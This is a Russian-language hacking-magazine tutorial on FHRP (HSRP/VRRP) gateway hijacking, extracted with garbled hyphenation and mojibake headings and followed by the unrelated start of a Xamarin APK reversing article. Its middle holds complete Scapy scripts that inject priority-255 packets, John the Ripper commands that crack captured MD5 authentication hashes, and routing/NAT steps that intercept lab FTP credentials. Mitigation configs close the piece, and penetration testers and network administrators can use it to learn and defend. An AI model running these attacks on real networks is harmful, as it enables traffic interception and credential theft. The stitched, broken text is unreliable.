Раз работан инже нера ми Cisco Systems и работа ет толь ко на сетевом обо- 
рудо вании Cisco. Про токол реали зован поверх сте ка TCP/IP и исполь зует
в качес тве тран сля ции слу жеб ной информа ции про токол UDP на пор те 1985.

Суть кон фигура ции HSRP зак люча ется в том, что бы объ еди нить мар шру- 
тиза торы в одну логичес кую груп пу HSRP-мар шру тиза торов под спе циаль ным
чис ловым иден тифика тором. В самой груп пе HSRP обра зует ся логичес кий
мар шру тиза тор, который получит вир туаль ный IP-адрес. А тот, в свою оче- 
редь, будет наз начать ся как шлюз по умол чанию для конеч ных хос тов.

Мар шру тиза торы, на которых фун кци они рует HSRP, для обме на слу жеб ной
информа цией исполь зуют так называ емые Hello-пакеты. С их помощью
устрой ства обща ются меж ду собой, про водят выборы и сооб щают друг дру гу
о сво ем сос тоянии.

Дамп HSRP-тра фика

По умол чанию активный мар шру тиза тор каж дые три секун ды рас сыла ет Hello-
сооб щение, которое зву чит как «Пар ни, я еще в строю». Одна ко если
в течение десяти секунд Standby-мар шру тиза тор не получа ет ни одно го Hello-
сооб щения от Active-мар шру тиза тора, то он пос чита ет, что активный мар шру- 
тиза тор «упал», и возь мет на себя его роль, исхо дя из зна чений при ори тета.

Âåðñèè ïðîòîêîëà HSRP

У про токо ла HSRP есть две вер сии — HSRPv1 и HSRPv2. Они отли чают ся сле- 
дующи ми парамет рами:

ко личес тво воз можных логичес ких групп. В HSRPv1 их может быть до 255.
У HSRPv2 количес тво групп может дос тигать 4096;

•

IP-адрес муль тикас товой рас сылки. HSRPv1 для тран сля ции слу жеб ной
информа ции исполь зует IP-адрес , а HSRPv2 — ;

•
224.0.0.2 224.0.0.102

вир туаль ный MAC-адрес. HSRPv1 в качес тве вир туаль ного MAC-адре са
исполь зует . У HSRPv2 вир туаль ный MAC-адрес 

 (где XX — это номер груп пы HSRP).

•
00:00:0C:07:AC:XX 00:

00:0C:9F:FX:XX

Ñóùíîñòè â äîìåíå HSRP

В рам ках груп пы HSRP есть нес коль ко сущ ностей:
HSRP Active Router — устрой ство, игра ющее роль вир туаль ного мар шру- 
тиза тора и обес печива ющее фор вардинг тра фика из сетей источни ка
до сетей наз начения;

•

HSRP Standby Router — устрой ство, игра ющее роль резер вно го мар шру- 
тиза тора, которое ожи дает отка за активно го мар шру тиза тора. Пос ле
падения основно го Active-роуте ра Standby-роутер возь мет на себя гла- 
венс тву ющую роль и будет занимать ся обя зан ностя ми Active-роуте ра;

•

HSRP Group — груп па устрой ств — чле нов одной HSRP-груп пы, обес- 
печива ют работу и отка зоус той чивость логичес кого мар шру тиза тора;

•

HSRP MAC Address — вир туаль ный MAC-адрес логичес кого мар шру тиза- 
тора в домене HSRP;

•

HSRP Virtual IP Address — это спе циаль ный вир туаль ный IP-адрес в груп пе
HSRP. Дан ный IP-адрес будет шлю зом по умол чанию для конеч ных хос тов,
исполь зует ся на самом логичес ком мар шру тиза торе.

•

Òåîðèÿ ïðîòîêîëà VRRP

VRRP (Virtual Router Redundancy Protocol) — про токол, раз работан ный
в качес тве более сво бод ной аль тер нативы про токо лу HSRP. Но пос коль ку он
осно ван на феноме нах про токо ла HSRP, с его «откры тостью и сво бодой» есть
некото рые нюан сы, так что пол ностью сво бод ным его не наз вать. VRRP поч ти
ничем не отли чает ся от HSRP, выпол няет те же самые фун кции, и в его
домене абсо лют но те же сущ ности, толь ко называ ются они ина че.

В слу чае HSRP объ явле ния генери ровал не толь ко Active-роутер, но и
Standby-роутер. В слу чае VRRP выпол нять рас сылку объ явле ний будет толь ко
Master-мар шру тиза тор на зарезер вирован ный груп повой адрес 

По умол чанию пакеты при ветс твия VRRP рас сыла ются каж дую секун ду.

.224.0.0.18

Дамп VRRP-тра фика

Âåðñèè ïðîòîêîëà VRRP

У про токо ла две вер сии — VRRPv2 и VRRPv3.
У VRRPv3 есть под дер жка IPv6, VRRPv2 под держи вает ся толь ко для сетей
IPv4.

•

У VRRPv3 отсутс тву ет под дер жка аутен тифика ции, у VRRPv2 име ется
целых три спо соба аутен тифика ции.

•

VRRPv3 в качес тве тай мин гов исполь зует сан тисекун ды, VRRPv2 опе риру- 
ет секун дами.

•

Ñóùíîñòè â äîìåíå VRRP

VRRP Master Router — это активный мар шру тиза тор, отве чающий
за переда чу легитим ного тра фика в сети.

•

VRRP Backup Router — мар шру тиза тор, находя щий ся в режиме ожи дания.
Как толь ко текущий Master Router упа дет, перех ватит его роль и будет
выпол нять его фун кции.

•

VRRP MAC Address — вир туаль ный MAC-адрес в груп пе VRRP (
). Вмес то  — номер груп пы VRRP.

• 00:00:5E:
01:XX XX
VRRP VRID — иден тифика тор груп пы VRRP, в рам ках которой рас положе ны
физичес кие мар шру тиза торы.

•

VRRP Virtual IP Address — спе циаль ный вир туаль ный IP-адрес в домене
VRRP. Этот IP-адрес исполь зует ся в качес тве шлю за по умол чанию
для конеч ных хос тов.

•

Âûáîð ãëàâåíñòâóþùåãî ìàðøðóòèçàòîðà

В рам ках про токо лов FHRP выбор гла венс тву ющей роли мар шру тиза тора
осно выва ется на зна чении при ори тета. По умол чанию в момент кон фигура- 
ции на всех мар шру тиза торах зна чение экви вален тно 100 еди ницам. Мак- 
сималь ное же зна чение при ори тета лежит в диапа зоне от 1 до 255 (для VRRP
этот диапа зон сос тавля ет от 1 до 254).

Ес ли адми нис тра тор не позабо тил ся о руч ной кон фигура ции зна чения
при ори тета на мар шру тиза торах, глав ным мар шру тиза тором ста нет тот,
у которо го наиболь ший IP-адрес. Инже нер с помощью кон фигура ции зна- 
чения при ори тета сам реша ет, кто будет активным мар шру тиза тором, а кто —
резер вным.

Продолжение статьи →
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FHRP HIJACKING

Тех ника этой сетевой ата ки зак люча ется в том, что бы навязать свое устрой- 
ство в качес тве глав ного мар шру тиза тора с помощью инъ екции HSRP-
или VRRP-пакета с мак сималь ным зна чени ем при ори тета. Успешная экс плу- 
ата ция при водит к MITM-ата ке, в резуль тате которой ты смо жешь перех ватить
весь тра фик внут ри сети, про вес ти редирект или выз вать DoS. Дос таточ но
соб рать HSRP- или VRRP-пакет с наивыс шим зна чени ем при ори- 
тета 255 и нап равить его в сто рону локаль ной сети. Сог ласись, не слиш ком
слож но.

Как будет ходить тра фик до ата ки

Как будет ходить тра фик пос ле ата ки

WARNING

Так как во вре мя ата ки на FHRP надо вза имо дей- 
ство вать с легитим ными мар шру тиза тора ми —
шлю зами по умол чанию для конеч ных хос тов,
необ ходимо очень быс тро выпол нять все свои
дей ствия, начиная от инъ екции и закан чивая
орга низа цией фор вардин га все го тра фика на сто- 
роне тво ей машины. Если будешь мед лить
во вре мя про веде ния ата ки, конеч ные хос ты сло- 
вят DoS — твой заказ чик такой сце нарий не оце- 
нит.

Ïîäãîòîâêà êàñòîìíîé èíúåêöèè

Я написал инс тру мен ты для атак на FHRP-про токо лы, добавив их в свой
репози торий . Всег да луч ше писать собс твен ные инс тру мен- 
ты, так ты понима ешь весь про цесс экс плу ата ции с нуля, что очень важ но.
Кро ме того, это будет выделять тебя на фоне осталь ных :)

GatewayBleeding

Что бы ты понимал прин цип экс плу ата ции, я раз беру весь прог рам мный
код скрип тов  и .HSRPWN.py VRRPWN.py

INFO

Инс тру мен ты написа ны на Python вер сии 3.

HSRPWN.py

Для начала нам необ ходимо импорти ровать биб лиоте ку Scapy, а так же
модуль для работы с L2-про токо лами и про токо лом HSRP. Кро ме того, под- 
клю чим модуль , что бы сде лать скрипт парамет ризиро ван ным.argparse

   from scapy.all import *
   from scapy.layers.l2 import *
   from scapy.layers.hsrp import *
 import argparse

В перемен ную  запишем зна чение IP-адре са муль тикас- 

товой рас сылки HSRPv1.

HSRPMulticastAddr

  HSRPMulticastAddr = "224.0.0.2"

Объ явля ем фун кцию . Она будет обра баты вать вве ден ные

поль зовате лем вхо дящие парамет ры:

take_arguments

ин терфейс, с которо го будут отправ лять ся пакеты (перемен ная
);

•
interface
но мер груп пы HSRP (перемен ная );• group
IP-адрес ата кующе го (перемен ная );• attackerip
вир туаль ный IP-адрес домена HSRP (перемен ная );• vip
ключ для аутен тифика ции (перемен ная ).• auth

Пар сить вве ден ные парамет ры будет . Резуль тат

выпол нения фун кции запишет ся в перемен ную .

parser.parse_args()
args

 def take_arguments():
     parser = argparse.ArgumentParser()
      

 
parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Select your network interface")
      

 
parser.add_argument("--group", dest="group", type=int, required=

True, help="Choose HSRP group ID value")
      

 
parser.add_argument("--ip", dest="attackerip", type=str, required

=True, help="Specify your IP address")
       parser.add_argument("--vip", dest="vip", type=str, required=True,
help="Specify HSRP Virtual IP address")
      

 
parser.add_argument("--auth", dest="auth", type=str, required=

True, help="Enter the auth HSRP passphrase")
     args = parser.parse_args()
    return args

В фун кции  про исхо дит сбор ка инъ екции HSRP-пакета с наиболь шим

зна чени ем при ори тета 255. Зна чения для перемен ных внут ри сло ев пакетов
извле кают ся из ука зан ных зна чений аргу мен тов поль зовате лем .
При этом:

inject

args.*

в перемен ной  собира ется Ethernet-фрейм;• L2frame
в перемен ной  собира ется сетевой пакет с IP-адре сом источни- 
ка и IP-адре сом наз начения. TTL будет равен 1. Если отпра вишь пакет не с
этим TTL — мар шру тиза торы отбро сят его;

• L3packet

в перемен ной  соз дает ся UDP-слой с пор том источни ка 
и пор том наз начения ;

• UDP_layer 1985
1985

в перемен ной  соз дает ся вре донос ный HSRP-пакет со зна- 
чени ем при ори тета 255, номером груп пы HSRP, зна чени ем вир туаль ного
IP-адре са и клю чом аутен тифика ции;

• evil_hsrp

в перемен ной  собира ется сам пакет с кад ром, сетевым IP-
пакетом, сло ем UDP и самим про токо лом HSRP.

• crafted

     def inject(interface, group, attackerip, vip, auth):
     L2frame = Ether()
       L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)
      UDP_layer = UDP(sport=1985, dport=1985)
       

 
evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.

vip, auth=args.auth)
           crafted = L2frame / L3packet / UDP_layer / evil_hsrp
       sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

Да лее с помощью метода  соб ранный пакет через каж дые три секун ды
отправ ляет ся с ука зан ного поль зовате лем интерфей са. Работу скрип та ни в
коем слу чае нель зя прек ращать: если он упа дет, пакеты перес танут рас- 
сылать ся, легитим ные мар шру тиза торы приз нают наше устрой ство «погиб- 
шим» и перес тро ят свои роли в домене.

sendp

В кон це скрип та вызыва ем фун кции  и .take_arguments inject

  args = take_arguments()
    inject(args.interface, args.group, args.attackerip, args.vip, args.

auth)

VRRPWN.py

Здесь поч ти все то же самое, что и с , но име ются и некото рые

отли чия.

HSRPWN.py

Им порти руем модуль для работы с про токо лом VRRP:

   from scapy.layers.vrrp import *

В перемен ной  ука зыва ется IP-адрес муль тикас товой
рас сылки :

VRRPMulticastAddr
224.0.0.18

  VRRPMulticastAddr = "224.0.0.18"

Фун кция  будет обра баты вать вве ден ные поль зовате лем

вхо дящие парамет ры:

take_arguments

ин терфейс, с которо го будут отправ лять ся пакеты (перемен ная
);

•
interface
но мер груп пы HSRP (перемен ная );• group
IP-адрес ата кующе го (перемен ная );• attackerip
вир туаль ный IP-адрес домена HSRP (перемен ная ).• vip

 def take_arguments():
     parser = argparse.ArgumentParser()
      

 
parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Select your network interface")
      

 
parser.add_argument("--group", dest="group", type=int, required=

True, help="Choose VRRP group ID value")
      

 
parser.add_argument("--ip", dest="attackerip", type=str, required

=True, help="Specify your IP address")
       parser.add_argument("--vip", dest="vip", type=str, required=True,
help="Specify VRRP Virtual IP address")
     args = parser.parse_args()
    return args

Что тут про исхо дит:
В  собира ется Ethernet-фрейм.• L2frame
В  собира ется IP-пакет с IP-адре сом источни ка и IP-адре сом
наз начения. TTL будет равен 255. Если отпра вишь пакет не с этим TTL —
мар шру тиза торы отбро сят его.

• L3packet

В  соз дает ся вре донос ный VRRP-пакет со зна чени ем при ори- 
тета 255, номером груп пы VRRP и зна чени ем вир туаль ного IP-адре са.

• evil_vrrp

В  собира ется сам пакет с кад ром, сетевым IP-пакетом и самим
про токо лом VRRP.

• crafted

    def inject(interface, group, attackerip, vip):
     L2frame = Ether()
       L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255
)
       evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip
)
         crafted = L2frame / L3packet / evil_vrrp
       sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

INFO

В дан ном скрип те нет слоя про токо лов тран- 
спортно го уров ня. VRRP работа ет исклю читель но
на сетевом уров не и не реали зован поверх сте ка
про токо лов TCP/IP.

В кон це скрип та вызыва ем фун кции  и :take_arguments inject

  args = take_arguments()
   inject(args.interface, args.group, args.attackerip, args.vip)

Âèðòóàëüíàÿ ëàáîðàòîðèÿ

Что бы показать экс плу ата цию на прак тике, я под готовил неболь шой лабора- 
тор ный стенд.

Вза имо дей ствие сети на логичес ком уров не

IP-адре сация стен да

Здесь:
 — это FTP-сер вер;• Dustup

 выс тупа ет в качес тве ата кующей машины;• Kali

 — кли ент ская машина с Windows 10 LTSC;• Radiant

 и  — ком мутато ры Cisco vIOS;• SW2 SW4

 и  — мар шру тиза торы Cisco vIOS.• R1 R2

Äîìåí HSRP

Мы будем исполь зовать вер сию HSRPv1.

Схе ма сети с HSRP

Äîìåí VRRP

На этом стен де исполь зует ся вер сия VRRPv2.

Схе ма сети с VRRP

Âçëîì MD5-àóòåíòèôèêàöèè

Дос туп к доменам FHRP может быть защищен аутен тифика цией. В боль шинс- 
тве слу чаев исполь зует ся MD5-аутен тифика ция. Я покажу, как мож но сбру- 
тить пароль, при этом получив хеш из дам па сетево го тра фика.

Дамп HSRP-пакета с аутен тифика цией

Сох раня ем дамп тра фика в файл . Далее исполь зуем

ути литу pcap2john и пода ем ей на вход дамп тра фика HSRP с хешами.

hsrp_encrypted.pcap

  necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Хе ши, извле чен ные из дам па HSRP-тра фика

Ко пиру ем хеши в отдель ный файл  и с помощью John

The Ripper начина ем переби рать пароли, ука зав сло варь через параметр 
 JTR сам опре делит тип хеша, находя щий ся в фай ле.

hsrp_md5_hashes.txt

.--wordlist

   necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/
wordlists/rockyou.txt

Взло ман ный пароль от домена HSRP

Па роль от домена HSRP — . Теперь раз берем такой же кейс с доменом

VRRP.

admin

Дамп VRRP-пакета с аутен тифика цией

Сох раня ем дамп в файл . Далее исполь зуем ути литу

pcap2john и пода ем ей на вход дамп тра фика VRRP с хешами.

vrrp_encrypted.pcap

  necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Хе ши, извле чен ные из дам па VRRP-тра фика

Ко пиру ем хеши в отдель ный файл  и с помощью John
The Ripper начина ем переби рать пароли, ука зав сло варь через параметр 

 Как и в прош лом слу чае, тип хеша опре деля ется авто мати чес ки.

vrrp_md5_hashes.txt

.--wordlist

   necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/
wordlists/rockyou.txt

Взло ман ный пароль от домена VRRP

Па роль от VRRP-домена — .cerberus

Продолжение статьи →
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ÀÒÀÊÀ ÍÀ HSRP È ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ

Не обхо димо в пер вую оче редь перевес ти сетевой интерфейс в нераз борчи- 
вый режим и раз решить фор вардинг на машине:

    necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc
    necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

За пус каем скрипт , ука зыва ем интерфейс, IP-адрес ата кующе го,

вир туаль ный IP-адрес, номер груп пы и ключ аутен тифика ции.

HSRPWN.py

        
     

necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1
--ip 10.1.1.2 --vip 10.1.1.254 --auth cisco

Дамп тра фика во вре мя HSRP-инъ екции

Кон фигура ция HSRP на мар шру тиза торах R1 и R2 до выпол нения инъ екции:

 

 

R1# show standby brief 
                     P indicates configured to preempt. 
                     | 
Interface   Grp  Pri P State   Active          Standby         Virtual 
IP 
Gi0/0       1    150   Active  local           10.1.1.200      
10.1.1.254

 

 

R2# show standby brief 
                     P indicates configured to preempt. 
                     | 
Interface   Grp  Pri P State   Active          Standby         Virtual 
IP 
Gi0/0       1    100   Standby 10.1.1.100      local           
10.1.1.254

А вот поведе ние кон фигура ции HSRP на мар шру тиза торах R1 и R2 пос ле
выпол нения инъ екции:

 

 

R1# show standby brief 
                     P indicates configured to preempt. 
                     | 
Interface   Grp  Pri P State   Active          Standby         Virtual 
IP 
Gi0/0       1    150   Standby 10.1.1.2        local           
10.1.1.254

 

 

R2# show standby brief 
                     P indicates configured to preempt. 
                     | 
Interface   Grp  Pri P State   Active          Standby         Virtual 
IP 
Gi0/0       1    100   Listen  10.1.1.2        10.1.1.100      
10.1.1.254

Как видишь, мар шру тиза торы R1 и R2 изме нили свои роли. Теперь они приз- 
нают хост с IP-адре сом 10.1.1.2 как Active-роутер.

На этом эта пе нуж но соз дать вто рич ный IP-адрес на интерфей се 

с ука зани ем вир туаль ного IP-адре са груп пы HSRP:

eth0

      necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.
255.0

Да лее необ ходимо уда лить все мар шру ты на тво ей машине и соз дать единс- 
твен ный, который будет про ходить через один из легитим ных мар шру тиза- 
торов. В качес тве сле дующе го шлю за мож но ука зать IP-адрес одно го из мар- 
шру тиза торов R1 или R2. Даже нес мотря на то, что мы у него «отжа ли» роль
Active-роуте ра, он все рав но смо жет выпол нять мар шру тиза цию и нап равить
тра фик до хос та либо сети наз начения. Про пишем все же мар шрут через IP-
адрес мар шру тиза тора R1 — :10.1.1.100

    necreas1ng@Mercy:~$ sudo del default gw
       necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0
         

 
necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw
10.1.1.100 eth0

Сей час ты видишь толь ко исхо дящий тра фик. Было бы неп лохо получить так- 
же и вхо дящий. Неболь шое пра вило для NAT решит эту задачу.

          necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j
MASQUERADE

Пос ле ата ки я поп робую с машины под име нем Radiant под клю чить ся к FTP-
сер веру под име нем Dustup. Пос мотрим, увен чалась ли ата ка успе хом.

\ \  C: Users radiant>ftp 172.20.20.50

Дамп перех вачен ного FTP-тра фика при ата ке на HSRP

В конеч ном сче те мы смог ли перех ватить легитим ный тра фик. Даже добыли
кре ды от FTP-сер вера .mercy:i_dont_trust_you

INFO

В этом кей се ты перех ватыва ешь абсо лют но весь
тра фик внут ри сети, а под клю чение к FTP-сер- 
веру будет слу жить при мером, что бы показать
импакт от ата ки.

ÀÒÀÊÀ ÍÀ VRRP È ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ

За пус каем скрипт :VRRPWN.py

        
   

necreas1ng@Mercy:~$ sudo python3 VRRPWN.py --interface eth0 --group 1
--ip 10.1.1.2 --vip 10.1.1.254

Ты можешь заметить, что толь ко  рас сыла ет объ явле ния.

Это говорит о том, что мы ста ли Master-роуте ром.

10.1.1.2

Дамп во вре мя VRRP-инъ екции

Вот поведе ние VRRP на мар шру тиза торах R1 и R2 до инъ екции:

 

 

R1# show vrrp brief 
Interface          Grp Pri Time  Own Pre State   Master addr     Group 
addr 
Gi0/0              1   150 3414       Y  Master  10.1.1.100      
10.1.1.254

 

 

R2# show vrrp brief 
Interface          Grp Pri Time  Own Pre State   Master addr     Group 
addr 
Gi0/0              1   100 3609       Y  Backup  10.1.1.100      
10.1.1.254

А вот поведе ние VRRP на мар шру тиза торах R1 и R2 пос ле инъ екции:

 

 

R1# show vrrp brief 
Interface       Grp  Pri   Time  Own  Pre State   Master addr     Group 
addr 
Gi0/0              1    150  3414       Y   Backup       10.1.1.2           
10.1.1.254

 

 

R2# show vrrp brief 
Interface        Grp  Pri  Time  Own  Pre State   Master addr     Group 
addr 
Gi0/0              1     100 3609       Y    Backup       10.1.1.2            
10.1.1.254

Мар шру тиза торы R1 и R2 изме нили свои роли. Теперь они приз нают хост
с IP-адре сом  как Master-роутер.10.1.1.2

За тем нуж но соз дать вто рич ный IP-адрес на интерфей се  с ука зани ем
вир туаль ного IP-адре са груп пы VRRP:

eth0

      necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.
255.0

Да лее уда ляем все мар шру ты на машине и соз даем единс твен ный через
роутер R1:

    necreas1ng@Mercy:~$ sudo del default gw
       necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0
         

 
necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw
10.1.1.100 eth0

И напос ледок пра вило для SNAT:

          necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j
MASQUERADE

Пос ле ата ки я поп робую под клю чить ся с машины под име нем Radiant к FTP-
сер веру под име нем Dustup.

Дамп перех вачен ного FTP-тра фика при ата ке на VRRP

В ито ге получил ся тот же сце нарий: мы видим абсо лют но весь тра фик, но в
рам ках дан ного кей са меня инте ресо вал толь ко FTP-тра фик. Перех вачен ные
кре ды — .betrayal:punish_you

ÏÐÅÂÅÍÒÈÂÍÛÅ ÌÅÐÛ

Ïðèîðèòåò 255

Из сооб ражений безопас ности рекомен дует ся на Master- или Active-мар шру- 
тиза торе выс тавить мак сималь ный при ори тет. В таком слу чае, если зло умыш- 
ленник отпра вит вре донос ный пакет с при ори тетом 255, у него не вый дет
стать «глав ным», пос коль ку таковой уже име ется.

INFO

В этой статье я ори енти руюсь на прин ципы
и коман ды Cisco IOS CLI.

Кон фигура ция для HSRP, груп па 1:

R1(config)# int g0/0
R1(config-if)# standby 1 priority 255

Кон фигура ция для VRRP, груп па 1:

R1(config)# int g0/0
R1(config-if)# vrrp 1 priority 254

Àóòåíòèôèêàöèÿ

Ес ли ты соб рался защищать домен FHRP с помощью пароль ной аутен тифика- 
ции, обя затель но позаботь ся о стой кос ти пароля, что бы его не сбру тили.
Как ты видел, хеш в откры том виде переда ется по сети, поэто му у зло умыш- 
ленни ка име ются шан сы переб рать пароль.

Кон фигура ция MD5-аутен тифика ции для HSRP, груп па 1:

R1(config-if)#standby 1 authentication md5 key-string 
all_h3re_f0r_y0u

Кон фигура ция MD5-аутен тифика ции для VRRP, груп па 1:

R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u

Кста ти говоря, обо рудо вание Cisco может пох вастать ся наличи ем keychain-
аутен тифика ции. В таком слу чае кон фигури руют ся два клю ча и даже мож но
нас тро ить интерва лы вре мени, ког да будет при нимать ся и отправ лять ся ключ.
Такой под ход в зна читель ной сте пени усложня ет жизнь зло умыш ленни ку, пос- 
коль ку ему при дет ся не толь ко бру тить пароль, но и уга дывать пос ледова- 
тель ность клю чей и под ходящий для их переда чи про межу ток вре мени.

Ни же я при вожу при мер кон фигура ции keychain в отно шении мар шру тиза- 
тора R1 для HSRP, для VRRP она тоже подой дет. Такую же кон фигура цию сле- 
дует нас тро ить на осталь ных мар шру тиза торах в рам ках одно го домена.

R1#conf t   # Входим в режим глобальной конфигурации 
R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под 
названием SecureFHRP 
R1(config-keychain)# key 1  # Создаем первый ключ 
R1(config-keychain-key)# key-string  gu1d1ng_
l1ght   # Указываем пароль 
R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:
00 may 2 
2022  # Указываем промежуток времени, в течение которого 
маршрутизатор будет принимать ключ от соседа 
R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00 
may 2 
2022    # Указываем промежуток времени, в течение которого 
маршрутизатор будет отправлять ключ соседу 
R1(config-keychain)# key 
2  # Когда закончится действие первого ключа, автоматически будет 
использован второй ключ. Создаем второй ключ 
R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль 
R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:
00 may 3 
2022  # Указываем промежуток времени, в течение которого 
маршрутизатор будет принимать ключ от соседа 
R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00 
may 3 
2022    # Указываем промежуток времени, в течение которого 
маршрутизатор будет отправлять ключ соседу 
R1(config)# interface GigabitEthernet 0/
1 # Входим в режим конфигурации интерфейса 
R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP # 
Включаем MD5-аутентификацию с использованием keychain для группы 
HSRP 1 

Îãðàíè÷åíèå òðàôèêà HSRP

HSRP исполь зует про токол тран спортно го уров ня UDP для при ема и переда- 
чи слу жеб ных объ явле ний. С помощью нас трой ки ACL (Access List Control) мы
можем огра ничить тра фик UDP по пор там источни ка и наз начения 1985. Если
зло умыш ленник будет про водить инъ екцию HSRP-пакетов, эти пакеты будут
отбро шены механиз мом ACL.

При мер кон фигура ции рас ширен ного ACL для безопас ности HSRPv1:

R1(config)# ip access-list extended DropHSRP # Создаем расширенный 
ACL с названием DropHSRP 
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.
0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по 
обратной 30-битной маске, по портам 1985 и по мультикастовому 
IP-адресу 224.0.0.2 
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее 
запрещаем UDP-трафик по портам 1985 
R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик 
по IP 
R1(config)# interface GigabitEthernet0/
0 # Входим в режим конфигурации интерфейса 
R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный 
ACL к интерфейсу на IN 

Рас ширен ный ACL для вер сии HSRPv2:

R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный 
ACL с названием DropHSRP
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.
0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по 
обратной 30-битной маске, по портам 1985 и по мультикастовому 
IP-адресу 224.0.0.2
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее 
запрещаем UDP-трафик по портам 1985
R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик 
по IP
R1(config)# interface GigabitEthernet0/0 # Входим в режим 
конфигурации интерфейса
R1(config-if)# ip access-group DropHSRPv2 in # Привязываем 
настроенный ACL к интерфейсу на IN

INFO

Во вре мя нас трой ки ACL исполь зуют ся обратные
мас ки (Wild Card masks).

ÇÀÊËÞ×ÅÍÈÅ

Про токо лы клас са FHRP помога ют орга низо вать сис тему горяче го резер- 
вирова ния шлю зов. Такие сис темы широко рас простра нены в рам ках рас- 
смот ренно го нами кей са. Но теперь ты зна ешь, что может про изой ти с сетью,
если инже нер не позабо тил ся о безопас ности кон фигура ции самих FHRP-
про токо лов.

Кста ти говоря, FHRP Hijacking может слу жить аль тер нативой ARP-спу фин- 
гу. В сетях AD откры вают ся все воз можнос ти для Relay-атак и сбо ра
информа ции, так же мож но реали зовать фишин говые ата ки и мно гое дру гое.
Эта статья под ска жет новые век торы атак для пен тесте ров, а сетевые адми- 
нис тра торы обза ведут ся новыми кей сами, что бы повысить безопас ность сво- 
ей сети.
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ВЗЛОМ

Прог рамми ровать для Android мож но
не толь ко на Java или Kotlin. Раз работ чики
на С# име ют воз можность соз давать
мобиль ные при ложе ния с помощью плат- 
формы Xamarin. Сегод ня мы погово рим
о том, как иссле довать такие при ложе ния
и как при необ ходимос ти их мож но взло- 
мать.

По палось мне недав но в руки мобиль ное при ложе ние для Android, которое
работа ло не сов сем так, как хотелось бы. Зна чит, нуж но хорошень ко
покопать ся в его пот рошках!

Ска зано — сде лано: берем све жую вер сию , откры ваем наш подопыт- 
ный APK и видим, что выг лядит он как-то уж слиш ком подоз ритель но. Клас сы
всех activity содер жат при мер но оди нако вый шаб лонный код такого типа:

GDA

    public class MainActivity extends BaseActivity
{
     private ArrayList refList;
       public static final String __md_methods;

    static {
        MainActivity.__md_methods = "n_onCreate:\(Landroid/os/

Bundle;\)V:GetOnCreate_Landroid_os_Bundle_Handler
      .....
      _ILandroid_os_Bundle_Handler:Android.Locations.
ILocationListenerInvoker, Mono.Android, Version=0.0.0.0, 
Culture=neutral, PublicKeyToken=null\n";

  
      Runtime.register("Megaprogram.Activity.MainActivity, 
Megaprogram", MainActivity.class, MainActivity.__md_methods);
   }
     public void MainActivity(){
      super();

          if (this.getClass() == MainActivity.class) {
             Object[] objArray = new Object[0];

   
         TypeManager.Activate("Megaprogram.Activity.MainActivity, 
Megaprogram", "", this, objArray);
      }
      return;

Это наводит на мыс ли, что нам попал ся неп равиль ный APK. Воз можно,
какой-то фрей мворк... Если поменять рас ширение  на , то в гла за

бро сает ся необыч ная для обыч ных мобиль ных при ложе ний пап ка
, содер жащая кучу DLL-биб лиотек.

.apk .zip

assemblies
Пос коль ку мно гие биб лиоте ки содер жат в наз вании сло во , ста- 

новит ся понят ным, отку да взя лось такое одно обра зие, — основной код прог- 
раммы написан на С# и рас полага ется в биб лиоте ке DLL, а на Java написа ны
лишь шаб лонные кус ки кода, пред назна чен ные для свя зи меж ду сре дой
выпол нения Mono и вир туаль ной машиной сре ды выпол нения Android (ART).

Xamarin

Ну да лад но, в сто рону теорию, пора брать ся за дело.

ÂÛÁÈÐÀÅÌ ÈÍÑÒÐÓÌÅÍÒ

Для работы с .NET я исполь зую три инс тру мен та.
1.  от JetBrains. Поз воля ет деком пилиро вать и иссле довать фай лы 

 и  У дан ного про дук та самая, на мой взгляд, удоб ная навига ция
по деком пилиро ван ному коду, так что, если говорить толь ко об иссле дова- 
